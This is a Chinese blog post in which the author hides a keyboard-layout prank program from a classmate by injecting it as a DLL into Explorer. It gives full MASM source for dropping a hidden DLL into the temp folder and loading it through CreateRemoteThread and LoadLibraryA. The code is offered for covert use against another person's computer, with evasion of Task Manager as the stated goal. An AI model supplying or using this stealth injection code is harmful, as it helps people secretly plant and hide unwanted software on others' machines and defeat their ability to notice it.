用dll注入的方式隱藏進程

上次那個改變鍵盤佈局的程序,被同學很容易的就在任務管理器裏找出來殺掉了,不爽!想個辦法把它藏起來。

google了一下,發現隱藏進程的方法有很多。可以用rundll,但那樣任務管理器裏還是會多出個進程,引起懷疑。還可以寫註冊表裏AppInit_Dlls一項,但我試了一下,結果一改就開不了機,可能是我的dll沒寫好吧。再有就是注入了,代碼注入很隱蔽,但還要遇到代碼定位,API定位等問題,麻煩,還是dll注入好了。決定了,說幹就幹!

先把原來的那個程序稍做修改,然後build成dll。即加一個DllEntry就行了。

DllEntry proc hInst: HINSTANCE, reason: DWORD, reserved1: DWORD
    LOCAL @dwThreadID
    .IF reason == DLL_PROCESS_ATTACH
        push hInst
        pop inst
        invoke CreateThread, NULL, 0, addr WinMain, NULL, NULL, addr @dwThreadID
        invoke CloseHandle, eax
    .ENDIF
    mov eax, TRUE
    ret
DllEntry endp

然後
ml /c /coff /Cp test.asm
link /DLL /SUBSYSTEM:WINDOWS test.obj

這樣我就有了一個test.dll,把它注入到別的進程裏就行啦。爲了做成一個程序,我把這個dll作爲資源放到另一個程序裏,在用到的時候把它釋放出來。編輯test.rc,寫入一行:

1000 RCDATA hookx.dll

然後rc test.rc就得到了test.res,一會兒link的時候用。

下面就是寫主程序了。程序中首先找到資源,把它釋放到windows的temp文件夾下,並指定隱藏屬性(爲了隱蔽嘛)。然後就是FindWindow,找到資源管理器(找它是因爲幾乎所有系統中都會開這個進程嘛),打開,申請空間,寫入LoadLibraryA的地址,CreateRemoteThread建立遠程線程就OK了。

這裏有一點要注意的就是,建立了遠程線程之後要讓該線程馬上返回,否則被注入的程序就會一直等待,這也就是爲什麼我在DllEntry中又用了一個CreateThread的原因。

下面就是源程序了,就是連續調用一堆函數,也沒註釋,沒做返回值的檢查,崩潰了就不管嘍!

.386
.model flat, stdcall
option casemap: none

include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib

rcID equ 1000

.const
szKerdll db 'kernel32.dll', 0
szHookxdll db 'hookx.dll', 0
szDesktopClass db 'Progman', 0
szDesktopWindow db 'Program Manager', 0
szLoadlib db 'LoadLibraryA', 0

.data
szBuf db 256 dup(0)
szTempPath db 256 dup(0)
szFmt db '%s%s', 0

.data?
hInstance dd ?
hResInfo dd ?
hResData dd ?
lpResData dd ?
dwResDataLen dd ?
hHookxdll dd ?
dwWrote dd ?
dwProcessID dd ?
hProcess dd ?
lpCodeRemote dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance, eax
    invoke FindResource, hInstance, rcID, RT_RCDATA
    mov hResInfo, eax
    invoke LoadResource, hInstance, hResInfo
    mov hResData, eax
    invoke LockResource, hResData
    mov lpResData, eax
    invoke SizeofResource, hInstance, hResInfo
    mov dwResDataLen, eax
    invoke GetTempPath, SIZEOF szTempPath, OFFSET szTempPath
    invoke wsprintf, OFFSET szBuf, OFFSET szFmt, OFFSET szTempPath, OFFSET szHookxdll
    invoke CreateFile, OFFSET szBuf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN, 0
    mov hHookxdll, eax
    invoke WriteFile, hHookxdll, lpResData, dwResDataLen, OFFSET dwWrote, NULL
    invoke FindWindow, OFFSET szDesktopClass, OFFSET szDesktopWindow
    invoke GetWindowThreadProcessId, eax, OFFSET dwProcessID
    invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwProcessID
    mov hProcess, eax
    invoke VirtualAllocEx, hProcess, 0, SIZEOF szBuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE
    mov lpCodeRemote, eax
    invoke WriteProcessMemory, hProcess, lpCodeRemote, OFFSET szBuf, SIZEOF szBuf, NULL
    invoke LoadLibrary, OFFSET szKerdll
    invoke GetProcAddress, eax, OFFSET szLoadlib
    invoke CreateRemoteThread, hProcess, 0, 0, eax, lpCodeRemote, 0, 0
    invoke CloseHandle, eax
    invoke CloseHandle, hProcess
    invoke ExitProcess, 0

end start

好了,編譯連接一下,這回再運行,按alt+ctrl+del看一下,哈哈,沒有任何跡象,成功!這回他該納悶了,我的鍵盤怎麼又不好使了??

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章